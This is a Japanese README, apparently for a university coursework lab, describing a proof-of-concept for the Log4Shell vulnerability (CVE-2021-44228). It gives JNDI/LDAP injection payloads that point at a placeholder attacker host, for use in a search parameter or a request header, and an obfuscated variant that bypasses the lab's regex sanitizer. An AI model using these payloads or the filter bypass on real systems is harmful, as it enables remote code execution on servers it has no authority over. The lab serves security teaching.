
このリポジトリは、Log4Shell脆弱性(CVE-2021-44228)の概念実証(PoC)を含んでいます。これは、FCUPの情報セキュリティ修士課程におけるカリキュラム科目TPASの課題の一部として開発されました。
特徴:
このスタックを実行するには、以下が必要です:
すべてが実行されたら:
このペイロードを検索バーに配置します(GETクエリパラメータになるためURLエンコード):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
または、リクエストのヘッダーにこのペイロードを配置します(Burp Suiteを使用してリクエストをインターセプトし、改変できます):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
ウェブサイトでは、ユーザー名の横にアイコンがあり、正規表現 \$\{jndi:.*?} を使用してログ文字列をサニタイズするかどうかを切り替えることができます。デフォルトではサニタイズは無効で、赤い悪魔のアイコンで表されます。サニタイズが有効になると、アイコンは緑色のスマイリーフェイスに変わります。
この機能はWAFバイパスをシミュレートする方法として使用できます。バックエンドのLoggerManager.javaクラスにさらに正規表現を追加できます。
現在の正規表現ではマッチしないペイロードは次のとおりです:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}